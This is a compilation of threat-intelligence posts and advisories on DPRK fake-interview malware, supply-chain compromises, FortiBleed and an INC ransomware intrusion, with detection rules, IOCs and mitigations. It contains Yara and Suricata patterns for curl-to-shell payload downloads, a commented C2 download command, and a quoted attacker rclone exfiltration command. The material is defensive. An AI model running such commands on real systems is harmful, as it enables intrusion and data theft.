If you are targeted by DPRK-related actors, we recommend that organizations use Suricata rules over raw network logs, as North Korean campaigns often reuse the same techniques and malware.

As the Contagious Interview campaign is a human-factor problem, we recommend raising employee awareness around fake interviews, because the use of social engineering makes detection harder.

Suricata rule
alert http any any -> any 1224 (msg:"KS-CUSTOM-SURICATA Backdoor
Contagious Interview C2 /api/ endpoint"; flow:established,to_server;
http.method; content:"GET"; http.uri; content:"/api/"; startswith;
pcre:"/^\/api\/[A-Za-z0-9]+$/"; reference:url,kudelskisecurity.com/research/;
sid:1000001; rev:1;)

I use Yara here because this is simpler to document and I just want to show the logic of the rule.

Yara documentation
rule Contagious_Interview_installation_with_pipe_Linux_and_OSX {
    meta:
        author = "Clifford - Kudelski security research team"
        description = "This rule detects the usage of wget or curl to download and execute a backdoor on Linux and MacOS"
        reference = "Kudelski research team"
    strings:
        $ImageFileName_1 = "/usr/bin/wget" nocase
        $ImageFileName_2 = "/usr/bin/curl" nocase
        $argument_wget = "-qO-" nocase
        $argument_curl = "-L"
        $endpoint = "/api/" nocase
        $pipe_shell = /\|\s*(sh|bash|zsh|dash)\b/ nocase
    condition:
        (
            ($ImageFileName_1 and $argument_wget) or
            ($ImageFileName_2 and $argument_curl)
        )
        and $endpoint
        and $pipe_shell
}
rule Contagious_Interview_installation_vscode_tasks_with_pipe_windows {
    meta:
        author = "Clifford - Kudelski security research team"
        description = "This rule detects the usage of wget or curl launched from tasks.json within a .vscode folder to download and execute a backdoor on windows, to be initiated the user needs to open a project that contains a malicious .vscode/tasks.json"
        reference = "Kudelski research team"
    strings:
        $ParentBaseFileName = "Code.exe" nocase
        $FileName = "powershell.exe" nocase
        $argument_psh = "-command" nocase
        $argument_curl = "-L"
        $endpoint = "/api/" nocase
        $pipe_shell_win = /\|\s*(cmd|powershell|pwsh)(\.exe)?\b/ nocase
        // full command in case you want to fine tune it: "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -Command curl --ssl-no-revoke -L http://<C2>/api/",
    condition:
        $ParentBaseFileName
        and $FileName
        and $argument_psh
        and $argument_curl
        and ($endpoint or $pipe_shell_win)
}
rule Contagious_Interview_nircmd_hidden_execution {
    meta:
        author = "Clifford - Kudelski security research team"
        description = "This rule detects the usage of Nircmd with differents position among the args"
        reference = "Kudelski research team"
    strings:
        $executable = "nircmd" nocase
        $exec_hide_re = /nircmd(\.exe)?\s+exec\s+(win\s+)?hide/ nocase // Regex made to adapt the diverse positions among the args
        $flag_exec = "exec" nocase
        $flag_win = "win" nocase // This appears just as an informational field so if you want to adapt the rule into your env you won't forget this argument.
        $flag_hide = "hide" nocase
        $payload = /\.(bat|cmd|ps1|vbs|js)\b/ nocase
    condition:
        $executable
        and (
            $exec_hide_re
            or ($flag_exec and $flag_hide)
        )
        and $payload
}

Sources

Hudson rock for the stealer logs (I used it to gather PowerShell commands and contracts only)
https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/
https://cloud.google.com/blog/topics/threat-intelligence/north-korea-threat-actor-targets-axios-npm-package

Get in Touch

If your team wants help investigating advanced threat activity, improving detection for social engineering-led intrusion chains, or strengthening defenses against campaigns like Contagious Interview, contact Kudelski Security to speak with our experts.

2026

June 19, 2026

Klue Supply Chain Compromise and CRM Data Exfiltration Incident Advisory

Kudelski Security Team

Summary

A software supply chain attack targeting the market intelligence platform Klue resulted in unauthorized access to customer integrations and subsequent data exfiltration from downstream SaaS applications, including CRM systems.

The intrusion began when a threat actor compromised Klue's backend environment and introduced malicious code designed to harvest OAuth tokens used by customer integrations. These tokens were then leveraged to access connected third-party services and extract data directly from customer environments.

One of the impacted organizations includes Huntress, along with other Klue customers. The exposed data primarily consisted of CRM and sales-related information, with no indication of compromise to product infrastructure, engineering systems, threat telemetry, payment data, or passwords.

Affected Systems and/or Applications

The incident impacted organizations using Klue integrations with the following third-party services:

  • Salesforce
  • HubSpot
  • SharePoint
  • Zoom
  • Gong
  • Chorus.ai
  • Clari
  • Google Drive
  • Slack

Scope of impact:

  • OAuth tokens associated with Klue integrations were stolen
  • CRM queries were executed against customer systems
  • Data was exfiltrated from Salesforce and related systems
  • No compromise of core Huntress product infrastructure or telemetry was identified

Technical Details

The intrusion originated when a long-unused but still active credential associated with Klue was leveraged to gain initial access to its backend systems. The threat actor used this foothold to deploy malicious code into integration workflows, specifically targeting mechanisms responsible for handling customer OAuth tokens. These tokens, which are used to authorize connections between Klue and third-party SaaS platforms, were covertly harvested as they were processed.

Once the attacker obtained valid OAuth credentials, they pivoted into downstream customer environments and used the stolen tokens to authenticate directly against integrated services. This enabled them to perform API-driven queries against connected systems, including CRM platforms such as Salesforce, where they systematically extracted records through standard query endpoints. The activity was characterized by automated data retrieval at scale, consistent with bulk CRM data enumeration rather than interactive user behavior.

From there, the attacker leveraged the compromised integrations to access additional connected services, including sales and collaboration platforms, and exfiltrated structured business data such as contacts, pricing information, sales communications, and internal notes. The attack ultimately demonstrated a chained supply chain compromise, where a single upstream integration failure enabled cascading unauthorized access across multiple downstream environments.

Indicators of Compromise (IOCs)

Type Value
IP Address 138.226.246[.]94
IP Address 212.86.125[.]24
IP Address 213.111.148[.]90
IP Address 94.154.32[.]160

Additional Telemetry Findings

  • Abnormal API activity targeting /services/data/v59.0/query/ endpoints
  • Repeated use of non-standard or blank User-Agent strings ("5238")
  • Python-based automation observed in query patterns:
    • Python-urllib/3.12
    • Python-urllib/3.14

Mitigation

Organizations potentially impacted by similar integrations should take the following actions:

1. Immediate Response Actions

  • Revoke and rotate all OAuth tokens associated with:
    • Klue integrations
    • Connected SaaS applications (Salesforce, HubSpot, etc.)
  • Force session invalidation across impacted platforms

2. Log Review

  • Review API and authentication logs for:
    • Suspicious query patterns to /services/data/v59.0/query/
    • Unusual bulk data extraction activity
    • Python-based or non-standard user agents
  • Correlate activity with provided IOCs:
    • 138.226.246[.]94
    • 212.86.125[.]24
    • 213.111.148[.]90
    • 94.154.32[.]160

3. Vendor Coordination

  • Request missing or incomplete API logs from affected SaaS providers
  • Coordinate with vendors to validate token usage history and session activity

4. Credential and Access Hardening

  • Rotate API keys and OAuth credentials for all third-party integrations
  • Enforce least-privilege access for integration tokens
  • Regularly audit inactive or legacy integrations

5. Email and Threat Monitoring

  • Search inboxes and spam folders for extortion-related messages
  • Preserve suspicious emails for forensic investigation
  • Monitor for data leakage references tied to CRM or Salesforce exports

6. Incident Response Preparedness

  • Engage cyber insurance and incident response teams if exposure is suspected
  • Establish procedures for rapid token revocation and integration shutdown
  • Implement continuous monitoring for SaaS-to-SaaS integration abuse

References

2026

June 17, 2026

Fortinet "FortiBleed" Global Compromise & Active Exploitation of Fortinet Vulnerabilities

Kudelski Security Team

(Updated June 23)

Summary

A large-scale, ongoing intrusion campaign targeting Fortinet infrastructure has been observed impacting internet-facing firewalls and VPN gateways worldwide. The operation, widely referred to as “FortiBleed,” primarily and definitely involves credential reuse, stealing, and brute force. According to Fortinet, “Based on our initial analysis, we believe the activity involves threat actors reusing credentials from previous incidents and employing brute-force techniques against devices with weak password hygiene and no multi-factor authentication (MFA).” Other researchers suggest the campaign may also involve the exploitation of a number of recent vulnerabilities affecting Fortinet products to achieve initial access and maintain persistence within enterprise environments, but no clear link has been established to the FortiBleed campaign.

The campaign is notable for its scale and automation. Attackers are not relying on a single exploit path; instead, they use a continuous cycle where stolen credentials, brute-force attempts, and intercepted authentication data are reused to expand access across thousands of organizations globally. This has resulted in widespread compromise affecting tens of thousands of devices across more than 190 countries, including critical infrastructure and major multinational enterprises.

Organizations can check whether their company has been exposed through the FortiBleed lookup tool provided by Hudson Rock, and affected customers are being contacted directly as part of ongoing coordinated disclosure efforts to support remediation and incident response.

Affected Systems and/or Applications

The following systems and applications are impacted or actively targeted. Vulnerabilities listed may have contributed to spreading FortiBleed's reach, but this is unconfirmed and the list is not exhaustive. In any case, it is strongly recommended to ensure these vulnerabilities have been patched.

Core Network Security Infrastructure

  • FortiGate (primary target)
  • SSL VPN interfaces exposed to the internet
  • Administrative web portals of Fortinet devices

Additional Fortinet Security Products

  • FortiSandbox
    • Actively exploited via multiple critical CVEs:
      • CVE-2026-39808 (command injection)
      • CVE-2026-39813 (authentication bypass)
      • CVE-2026-25089 (remote command execution)
  • FortiClient EMS
    • Vulnerabilities observed in active exploitation campaigns:
      • CVE-2026-21643
      • CVE-2026-35616

Supporting / Secondary Targets

  • Microsoft SQL Server environments (2.1B+ brute-force attempts observed)
  • Internal Active Directory environments (post-compromise pivot targets)
  • Enterprise VPN authentication systems across multiple vendors (credential reuse expansion)

Technical Details

The intrusion chain typically begins with large-scale internet scanning to identify exposed Fortinet devices. Once discovered, attackers attempt authentication using vast datasets of previously leaked credentials, many of which originate from infostealer malware infections or older breaches. This credential-stuffing phase alone accounts for billions of login attempts, indicating a highly automated infrastructure designed for continuous exploitation.

When credentials are insufficient, attackers escalate by attempting brute-force authentication or, possibly in a subset of cases, exploiting known vulnerabilities in Fortinet products. Recently patched flaws - such as authentication bypass and remote command execution vulnerabilities in FortiSandbox and FortiClient EMS - are actively being weaponized in the wild, though again, there is no definitive link to FortiBleed. Some exploit attempts appear to be rapidly generated or AI-assisted, although not all are immediately functional.

A particularly concerning aspect of this campaign is the interception of SSL VPN authentication data. Attackers capture authentication material during login sessions and then crack it offline using GPU-accelerated systems. Once valid access is obtained, compromised devices are used as monitoring points inside enterprise perimeters, allowing attackers to observe network traffic and harvest additional credentials.

Post-exploitation activity typically involves persistence within VPN and firewall management interfaces, followed by lateral movement into internal systems such as Active Directory. In addition to building a catalogue of compromised organizations intended to be sold, this enables the attackers to escalate privileges, move across internal segments, and extract sensitive data. In several documented cases, organizations experienced full network compromise and data exfiltration, including entities in critical infrastructure and defense-related sectors.

Mitigation

Organizations should immediately implement the following defensive measures:

  • Immediately rotate all VPN, firewall, and administrative credentials associated with Fortinet infrastructure, especially where reuse across systems may have occurred.
  • Enforce Multi-Factor Authentication (MFA) on all VPN access points and administrative interfaces without exception.
  • Apply the latest security patches for all Fortinet products, particularly FortiGate, FortiSandbox, and FortiClient EMS, prioritizing vulnerabilities related to authentication bypass and remote code execution.
  • Restrict exposure of VPN and management interfaces by limiting access to trusted IP ranges or internal networks only.
  • Review authentication and firewall logs for anomalies such as unusual geolocations, repeated login failures, or unexpected administrative activity.
  • Assume potential compromise for any internet-exposed Fortinet system without MFA and up-to-date patching, and initiate incident response procedures where exposure is confirmed or suspected.

IoCs

Accounts present on Fortinet devices:

Credentials associated with FortiBleed include default accounts as well as those of indeterminate origin - possibly used by MSPs to manage deployments, possibly created for persistence by campaign operators - like adminin, fgtsecure and many others. A small set of passwords appears across many unrelated brands and localities. For a more complete overview of this aspect of the campaign and in the interest of not re-publicizing possibly valid credentials in an easily scrapable format, have a look at CloudSEK's analysis of the open directory which was accidentally left exposed by FortiBleed operators.

IP addresses:

Indicator Type Value
Open Directory/Hashtopolis IP 85.11.187.8
Fortinet credential harvesting IP 85.11.187.28
Jump Box IP 193.8.187.2
Hashtopolis Instance IP 185.229.26.83
Hashtopolis Instance IP 213.169.49.142
Hashtopolis Instance IP 38.117.87.37
Hashtopolis Instance IP 198.53.64.194
Hashtopolis Instance IP 175.155.64.221

References

2026

May 5, 2026

Widespread DAEMON Tools Supply Chain Attack Enables Targeted Follow-on

Kudelski Security Team

Summary

A sophisticated supply chain attack has compromised official DAEMON Tools installers, distributing malware signed with valid digital certificates since April 8, 2026. Discovered by Kaspersky, the incident involves trojanized versions of the software that activate an implant upon execution, enabling targeted malware delivery to a highly selective subset of victims globally. The attack, still active at time of writing, leverages legitimate software distribution channels to bypass initial security controls, demonstrating a high degree of operational security by the threat actors.

Affected Systems and/or Applications

Versions affected:

  • DAEMON Tools versions 12.5.0.2421 to 12.5.0.2434.

Attack details:

  • Thousands of infection attempts have been observed across more than 100 countries, including Russia, Brazil, Turkey, Spain, Germany, France, Italy, and China.
  • Targeted follow-on payloads have been delivered to a small number of hosts belonging to retail, scientific, government, and manufacturing organizations in Russia, Belarus, and Thailand.
  • A specific remote access trojan (QUIC RAT) was recorded targeting an educational institution in Russia.

Technical Details

  • Compromised Components: Three legitimate DAEMON Tools binaries were tampered with: DTHelper.exe, DiscSoftBusServiceLite.exe, and DTShellHlp.exe. These files retain valid digital signatures belonging to the original developers, which helps evade signature-based detection.
  • Execution Flow: The implant activates when any of the compromised binaries launch, which typically occurs during system startup.
  • Command and Control (C2): Upon execution, the implant sends an HTTP GET request to env-check.daemontools[.]cc (registered on March 27, 2026) to receive shell commands that are subsequently executed via cmd.exe.
  • Payload Delivery:
    • envchk.exe: A .NET executable designed for extensive system information collection.
    • cdg.exe and cdg.tmp: cdg.exe acts as a shellcode loader that decrypts and executes cdg.tmp, a minimalist backdoor capable of downloading files, running shell commands, and executing shellcode in memory.
    • QUIC RAT: A C++ implant supporting multiple C2 protocols (HTTP, UDP, TCP, WSS, QUIC, DNS, HTTP/3) with process injection capabilities targeting notepad.exe and conhost.exe. This advanced backdoor indicates a tailored, high-value targeting strategy rather than indiscriminate mass infection.

Indicators of Compromise

Infected DAEMON Tools Lite installers

9ccd769624de98eeeb12714ff1707ec4f5bf196d (12.5.0.2421)
50d47adb6dd45215c7cb4c68bae28b129ca09645 (12.5.0.2422)
0c1d3da9c7a651ba40b40e12d48ebd32b3f31820 (12.5.0.2423)
28b72576d67ae21d9587d782942628ea46dcc870 (12.5.0.2424)
46b90bf370e60d61075d3472828fdc0b85ab0492 (12.5.0.2430)
6325179f442e5b1a716580cd70dea644ac9ecd18 (12.5.0.2431)
bd8fbb5e6842df8683163adbd6a36136164eac58 (12.5.0.2433)
15ed5c3384e12fe4314ad6edbd1dcccf5ac1ee29 (12.5.0.2434)

Modified DiscSoftBusServiceLite.exe

524d2d92909eef80c406e87a0fc37d7bb4dadc14
427f1728682ebc7ffe3300fef67d0e3cb6b62948
8e7eb0f5ac60dd3b4a9474d2544348c3bda48045
00e2df8f42d14072e4385e500d4669ec783aa517
aea55e42c4436236278e5692d3dcbcbe5fe6ce0b
0456e2f5f56ec8ed16078941248e7cbba9f1c8eb
9a09ad7b7e9ff7a465aa1150541e231189911afb
8d435918d304fc38d54b104a13f2e33e8e598c82
64462f751788f529c1eb09023b26a47792ecdc54

C:\Windows\Temp\envchk.exe

2d4eb55b01f59c62c6de9aacba9b47267d398fe4

C:\Windows\Temp\cdg.exe
C:\Windows\Temp\imp.tmp
C:\Windows\Temp\piyu.exe

9dbfc23ebf36b3c0b56d2f93116abb32656c42e4
295ce86226b933e7262c2ce4b36bdd6c389aaaef

C2

env-check.daemontools[.]cc
38.180.107[.]76

Mitigation

  • Isolate any machines with DAEMON Tools installed and check for evidence of suspicious activity starting April 8.
  • Block network traffic to the C2 domain env-check.daemontools[.]cc.
  • Monitor for the execution of compromised binaries (DTHelper.exe, DiscSoftBusServiceLite.exe, DTShellHlp.exe) and associated payloads (envchk.exe, cdg.exe, cdg.tmp).
  • Await official guidance or patched releases from AVB Disc Soft before reinstalling the software in enterprise environments.

What the Cyber Fusion Center is Doing

The Cyber Fusion Center (CFC) is monitoring the situation and will issue advisory updates as needed. A threat hunting campaign will be conducted to identify activity related to this attack.

References

2026

April 30, 2026

Mini Shai Hulud Supply Chain Attack (Updated 30 Apr)

Kudelski Security Team

Summary

A sophisticated supply chain attack, dubbed "Mini Shai Hulud" has been attributed to the threat actor group TeamPCP. This operation involves the compromise of SAP-related npm packages through the injection of malicious preinstall scripts. The attack aims to harvest developer and CI/CD secrets from platforms such as GitHub, npm, and major cloud providers, with exfiltration occurring via attacker-controlled GitHub repositories.

Update 30 April: Campaign Expansion

The campaign has expanded beyond the initial SAP package ecosystem to compromise high-profile packages in the PyPI (lightning aka PyTorch Lightning) and npm (intercom-client) registries. The threat actors have shifted tactics to leverage automated CI/CD workflows and compromised maintainer accounts to distribute malicious versions, indicating a highly coordinated and automated propagation strategy.

Affected Systems and/or Applications

The attack targets specific npm packages within the SAP ecosystem, including:

  • @cap-js/sqlite - v2.2.2
  • @cap-js/postgres - v2.2.2
  • @cap-js/db-service - v2.10.1
  • mbt - v1.2.48

These packages have been modified to include malicious preinstall scripts that execute during the npm install process.

Update 30 April: Campaign Expansion

  • PyPI Packages:
    • lightning (PyTorch Lightning) versions 2.6.2 and 2.6.3
  • npm Packages:
    • intercom-client version 7.0.4

Technical Details

The attack begins with the execution of a setup.mjs script, which downloads the Bun runtime and executes an obfuscated payload (execution.js). This payload acts as a credential stealer and propagation framework, targeting developer environments and CI/CD pipelines. It collects sensitive data, including:

  • GitHub tokens
  • npm credentials
  • Cloud secrets (AWS, Azure, GCP)
  • Kubernetes tokens
  • GitHub Actions secrets

Exfiltration is conducted via public GitHub repositories using encrypted payloads. The malware includes logic to propagate to additional repositories and package distributions. Notably, the operation employs a system check to terminate if the compromised machine is configured for the Russian language, ensuring no data is exfiltrated from Russian-speaking systems.

The attack also introduces browser credential theft capabilities, targeting multiple browsers such as Chrome, Safari, Edge, Brave, and Chromium.

Update 30 April:

  • Execution Chain in PyPI: The compromised lightning package includes a hidden _runtime directory containing a downloader and an obfuscated JavaScript payload. A Python script (start.py) automatically executes upon module import, downloading the Bun runtime and running an 11 MB obfuscated payload (router_runtime.js) designed for comprehensive credential theft.
  • npm Propagation: The malware modifies local npm packages by injecting a postinstall hook into the package.json file, increments the patch version number, and repacks the .tgz tarballs. If a developer inadvertently publishes these tampered packages, the malware propagates to downstream systems.

Mitigation

Security teams should take the following steps to mitigate the impact of this attack:

  1. Identify Exposure: Search environments, lockfiles, artifact stores, and CI logs for affected package versions and malicious files (setup.mjs, execution.js).
  2. Rotate Credentials: If exposure is suspected, immediately rotate GitHub tokens, npm tokens, cloud credentials, Kubernetes tokens, and CI/CD secrets.
  3. Audit GitHub Activity: Look for suspicious commits, newly created repositories, or indicators such as the propagation keyword and unusual commit authors.
  4. Monitor for Indicators of Compromise (IoCs): Utilize the provided file hashes to detect compromised files within your environment.

Update 30 April: Immediate Remediation

  1. Block and Remove Malicious Versions: Explicitly block lightning versions 2.6.2 and 2.6.3, as well as intercom-client version 7.0.4. Remove these packages from all developer systems and CI/CD caches if already installed.
  2. Downgrade to Clean Releases: Revert to the last known secure versions lightning 2.6.1 and/or intercom-client 7.0.3 at time of writing to restore functionality without the malicious payload.
  3. Enforce Branch Protection and Commit Verification: Implement strict branch protection rules requiring pull request reviews and status checks. Enforce commit signature verification (GPG/SSH) to neutralize AI impersonation tactics and detect unauthorized commits

Indicators of Compromise

Component File / Package File Size (bytes) SHA256 SHA1 MD5
Shared Dropper setup.mjs 4,549 4066781fa830224c8bbcc3aa005a396657f9c8f9016f9a64ad44a9d7f5f45e34 307d0fa7407d40e67d14e9d5a4c61ac5b4f20431 35baf8316645372eea40b91d48acb067
Execution Script execution.js (sqlite/postgres) 11,723,748 eb6eb4154b03ec73218727dc643d26f4e14dfda2438112926bb5daf37ae8bcdb ca4a5bb85778ffcd2153ace88fe2d882c8ceeb23 b523a69b27064d1715d1f0aaffcfae63
Execution Script execution.js (db-service) 11,729,871 6f933d00b7d05678eb43c90963a80b8947c4ae6830182f89df31da9f568fea95 bc95cc5dda788295aa0c9456791520599ef99526 6fb87d243b011b5445f379f80e1a6b4d
Execution Script execution.js (mbt) 11,678,349 80a3d2877813968ef847ae73b5eeeb70b9435254e74d7f07d8cf4057f0a710ac 6bc859aaee1f8885eec2a3016226e877e5adba08 45dc9c02f82b4370ca92785282d43a86
Tarball @cap-js/sqlite & @cap-js/postgres 3,409,213 1d9e4ece8e13c8eaf94cb858470d1bd8f81bb58f62583552303774fa1579edee e80824a19f48d778a746571bb15279b5679fd61c e32eaf0c3cde9616831a1e92d42b0058
Tarball @cap-js/db-service 3,395,651 a1da198bb4e883d077a0e13351bf2c3acdea10497152292e873d79d4f7420211 7b6a28e92149637e5d7c7f4a2d3e54acd507c929 8cd683f78735c9bfc32600c73d3d9abe
Tarball mbt 3,373,788 86282ebcd3bebf50f087f2c6b00c62caa667cdcb53558033d85acd39e3d88b41 0af7415d65753f6aede8c9c0f39be478666b9c12 04d8a99447b16f6839fff3b978f88d7e
Dropper - intercom-client setup.mjs Unspecified fe64699649591948d6f960705caac86fe99600bf76e3eae29b4517705a58f0e2 7c8bf63a9ba9169d5237acfc683f1bd004349341 598f8a39b021cf56d33432b6f67f7660
Execution Script - intercom-client router_runtime.js ~11.7 MB 5ae8b2343e97cc3b2c945ec34318b63f27fa2db1e3d8fbaa78c298aa63db52ed 0cf67457352cf82dea4189d9dbd41b8f519dbb81 9bd71891febd47b6a7d9ef1f6120662a
Execution Script - lightning router_runtime.js ~11.4 MB 5f5852b5f604369945118937b058e49064612ac69826e0adadca39a357dfb5b1 f1b3e7b3eec3294c4d6b5f87854a52471f03997f 40d0f21b64ec8fb3a7a1959897252e09

What the Cyber Fusion Center is Doing

The Cyber Fusion Center (CFC) continues to actively monitor the situation and will issue advisory updates as needed. A threat hunting campaign regarding the above activity will be conducted.

References

2026

April 24, 2026

No Zero-Days Needed: How Hygiene Failures Handed Ransomware Operators the Keys

Kudelski Security Team

Introduction

This is not a story about a novel exploit chain or a nation-state implant. There is no zero-day in this Incident Response engagement, no supply chain compromise, no sandbox escape. This is a story about a FortiGate admin panel on the internet, an account that should have been disabled two years ago, a service account that should never have been Domain Admin, and a SQL server that somehow never got the EDR agent.

None of these are new problems. All of them are on every hardening checklist ever written. Together, they gave INC Ransomware operators everything they needed to exfiltrate about 400 gigabytes of business data and detonate ransomware across the environment in under 48 hours.

We are publishing this case not because it is unusual, but because it is not. The same combination of third-party access sprawl, stale accounts, over-privileged service accounts, and incomplete security tooling exists in most environments we assess. The attackers did not need to be clever. They just needed the basics to be broken.

Year after year, the two dominant initial access vectors in ransomware incidents remain weak or stolen credentials and unpatched vulnerabilities. This case is a textbook example of the first. And once inside, the attackers did exactly what we see in every engagement: they searched for unmanaged assets, systems outside the security stack's visibility, to stage their operations. The SQL server without EDR became the exfiltration platform. None of this required sophistication.

Initial Access

The threat actor started by brute-forcing the victim's internet-facing FortiGate management interface. No rate limiting, no account lockout, no MFA. A local admin account fell to credential stuffing from a rotating set of IPs across Russia, Iran, Brazil, and various proxy providers. The login succeeded. Nobody noticed.

About two weeks later, the attacker downloaded the FortiGate configuration backup. FortiGate configs contain local user credentials (often reversible) and full SSL VPN settings. From this single file, the attacker pulled credentials for two accounts:

A stale partner account belonging to a former employee of the victim's managed services provider. Last legitimate login: over two years prior. The employee had left the partner company, but the victim's account was never disabled.

A FortiGate service account with a password unchanged for 1,408 days. This account had Domain Admin privileges.

Two accounts. One forgotten, one over-privileged. Both with passwords sitting in a config file on an internet-facing appliance.

Roughly four weeks after the config download, the attacker logged into the FortiGate GUI and added the stale partner account to the SSL VPN user group. Minutes later, the account connected via VPN. From the SOC's perspective, this looked normal: a known partner account connecting over VPN. No alerts fired because nothing about it was technically anomalous, except that the human behind the account had not worked there in over two years.

The gap between obtaining credentials and using them matters. Weeks of inactivity between the config download and VPN activation suggest the initial access broker who compromised the FortiGate likely sold or handed off access to the INC Ransomware operators during this window, a common pattern in the ransomware-as-a-service ecosystem.

Discovery and Lateral Movement

The next day, the operators switched to the FortiGate service account. Domain Admin. Nearly four-year-old password. Interactive login enabled.

The service account started RDP sessions across the environment: file servers, hypervisors, the ERP system, domain controllers, the Veeam backup server. 17 systems in total.

First actions on target were basic reconnaissance, enumerating shares and launching a command shell:

Figure 2: Initial recon with net share and cmd.exe within the first minutes of access

Login records from the domain controller revealed a Kali Linux hostname among the connecting systems, confirming hands-on-keyboard operation from an offensive Linux distribution:

Figure 3: Kali hostname in logon events alongside the service account

Credential Access

On the Veeam backup server, the attacker reset the backup service account password from the command line. The EDR agent captured it in real time:

Figure 4: EDR process telemetry showing the password change via net1.exe user veeam PwdPwd2424!

This is a deliberate move to slow down recovery and create persistence.

Exfiltration

The victim had a commercial EDR solution deployed. But the SQL server holding the organization's critical business data did not have the agent installed. It was only onboarded the day after the attack, likely by the managed services partner scrambling to respond.

This is what attackers look for. They do not need to evade EDR if they can find a server that does not have it. An unmanaged asset with access to sensitive data is the perfect staging point.

Within hours of the first lateral movement, the attacker ran Rclone on the unmonitored SQL server:

rclone.exe copy Z: was4:<bucket>/share--ignore-existing
 --transfers=32--multi-thread-streams=32
 --multi-thread-cutoff=12M--max-size=25M
 --include"*.{xls,pdf,xlsx,doc,docx,txt}"
 --max-age=3y --progress -vv

Only office documents and PDFs. Only files from the last three years. 32 parallel streams to maximize throughput.

The firewall captured every PUT request. The user-agent string, rclone/v1.72.1, is right there in the logs, along with the destination hostname:

Figure 5: Firewall log showing rclone/v1.72.1 user agent and Wasabi S3 destination

The exfiltration ran for roughly 21 hours. About 410 gigabytes left the network. No EDR alert, because there was no EDR on that server. The firewall logs recorded the volume, but nobody was watching outbound traffic from a server that had no business talking to cloud storage.

Impact

Hours after the exfiltration completed,

win.exe dropped into \Users\Public\Pictures\ and executed the INC Ransomware

The EDR blocked it on every host where it was deployed. The systems without the agent were encrypted.

The incident response team was engaged the following morning. The managed services partner restored 17 VMs from backup.

Adversary Intelligence

INC MITRE HEATMAP

MITRE ATT&CK Mapping

Tactic Technique Detail
Initial Access T1133 External Remote Services FortiGate admin panel exposed to internet
Initial Access T1078 Valid Accounts Stale partner account and over-privileged service account
Initial Access T1078.002 Valid Accounts: Domain Accounts Partner account reactivated for VPN access
Execution T1059.003 Windows Command Shell cmd.exe, net.exe, net1.exe on multiple hosts
Persistence T1098 Account Manipulation Partner account added to VPN group; Veeam password changed
Credential Access T1110.003 Brute Force: Password Spraying Credential stuffing against FortiGate admin
Discovery T1018 Remote System Discovery Kali-based host enumeration across the environment
Discovery T1135 Network Share Discovery net share enumeration within first minutes of access
Lateral Movement T1021.001 Remote Desktop Protocol Service account RDP to 17+ hosts
Defense Evasion T1562.001 Impair Defenses: Disable or Modify Tools net stop CryptSvc, swprv, vss across multiple hosts
Exfiltration T1567.002 Exfil Over Web Service: Cloud Storage Rclone to Wasabi S3 (~410 GB over 21 hours)
Impact T1486 Data Encrypted for Impact INC Ransomware (win.exe)
Impact T1489 Service Stop Stopped CryptSvc, swprv, vss before encryption
Impact T1490 Inhibit System Recovery VSS deletion to prevent snapshot-based recovery

Indicators of Compromise

Ransomware Binary

Indicator Type Context
win.exe Filename Dropped in \Users\Public\Pictures\

Exfiltration Tool

Indicator Type Context
rclone/v1.72.1 User-Agent Seen in firewall logs during exfiltration
wasabisys.com Domain S3 destination for stolen data

Key Takeaways

Every step of this attack exploited a gap that shows up in penetration test reports and audit findings year after year.None of them are hard to understand. All of them are hard to sustain operationally, which is why they persist.

The two dominant initial access vectors in ransomware incidents remain weak or stolen credentials and unpatched vulnerabilities. In this case, credentials alone were enough. Abrute-forced admin panel led to a config file with extractable passwords, which led to a stale account with VPN access, which led to a service account with Domain Admin. Each link in that chain was a credential management failure.

The other pattern: attackers actively seek unmanaged assets. The SQL serverwithout EDR became the exfiltration platform precisely because it was invisible to the security stack. If your tooling does not see a system, that system iswhere the attacker will operate from.

Here are the specific controls that wouldhave broken this attack chain at each stage.

Lockdown network appliance management. Restrict FortiGate admin access to a management VLAN or jump host. The admin panel should never be reachable from the public internet. Enable login attempt throttling and account lockout. Enable MFA on all admin accounts. Audit local accounts quarterly and remove any that are not actively needed.

Control third-party access lifecycle. Require partners to notify you of staffing changes within 48 hours and write it into the service agreement. Run a monthly stale account report: any domain account with nointeractive login in 90 days gets disabled automatically, 180 days deleted. Tag all third-party accounts in AD with a custom attribute (partner name, contract expiry) so they are auditable as a group. Restrict third-party VPN sessions to specific source IP ranges or require client certificate authentication.

Eliminate over-privileged service accounts. Audit every account in Domain Admins, Enterprise Admins, and Administrators. Migrate service accounts to Group Managed Service Accounts (gMSA) with the minimum privileges they actually need. Disable interactive login for service accounts. Enforce a maximum password age of 365 days for any account that cannot use gMSA. A 1,408-day-old password is indefensible.

Achieve 100% EDR coverage. Treat incomplete EDR deployment as a critical finding, not a backlog item. Every server gets the agent, no exceptions. Reconcile EDR agent inventory against your CMDB weekly. Any host inAD or your hypervisor inventory but missing from the EDR console is a gap that needs same-day remediation. Pay extra attention to data-tier servers: SQL, fileservers, NAS, backup servers. These are the exfiltration sources.

Restrict and monitor server egress. Default-deny outbound internet access for all servers. Block cloud storage providers at the firewall for server subnets: Wasabi, Mega, AWS S3 (unless specifically needed), Backblaze, pCloud. There is no reason a SQL server should resolve wasabisys.com. Alert on outbound transfers exceeding a baseline threshold. If a server that normally sends 2 GB/day suddenly pushes 50 GB, that is a detection opportunity.

Protect backup infrastructure. Isolate Veeam and other backup servers on a dedicated management VLAN with strict access controls. Use unique, complex credentials for backup service accounts that are not stored in the same AD as production accounts. Enable immutable backups or air-gapped copies. The attacker changed the Veeam password to prevent recovery. Immutable storage makes that move irrelevant.

2026

April 7, 2026

BlueHammer Windows Defender LPE 0day

Kudelski Security Team

Summary

BlueHammer is a publicly disclosed zero-day local privilege escalation (LPE) vulnerability affecting Microsoft Windows systems via Microsoft Defender. A working proof-of-concept (PoC) exploit has been released publicly, enabling attackers with low privileges to escalate up to NT AUTHORITY\SYSTEM, effectively gaining full control of the host. This is particularly critical as it impacts fully patched systems, has a low barrier to exploitation, and there is no official patch available to mitigate it. It is important to note that this does require local access to the system along with the ability to execute code as a low-privileged user.

Affected Systems and/or Applications

  • Microsoft Windows (hosts and servers; servers may only allow escalation to Administrator at this time)
  • Microsoft Defender Antivirus, particularly its signature update mechanism

Technical Details

BlueHammer exploits weaknesses in the Microsoft Defender signature update workflow, rather than the scanning engine itself. The vulnerability chain combines a Time-of-Check to Time-of-Use (TOCTOU) race condition with path confusion and symbolic link manipulation, allowing attackers to redirect privileged file operations.

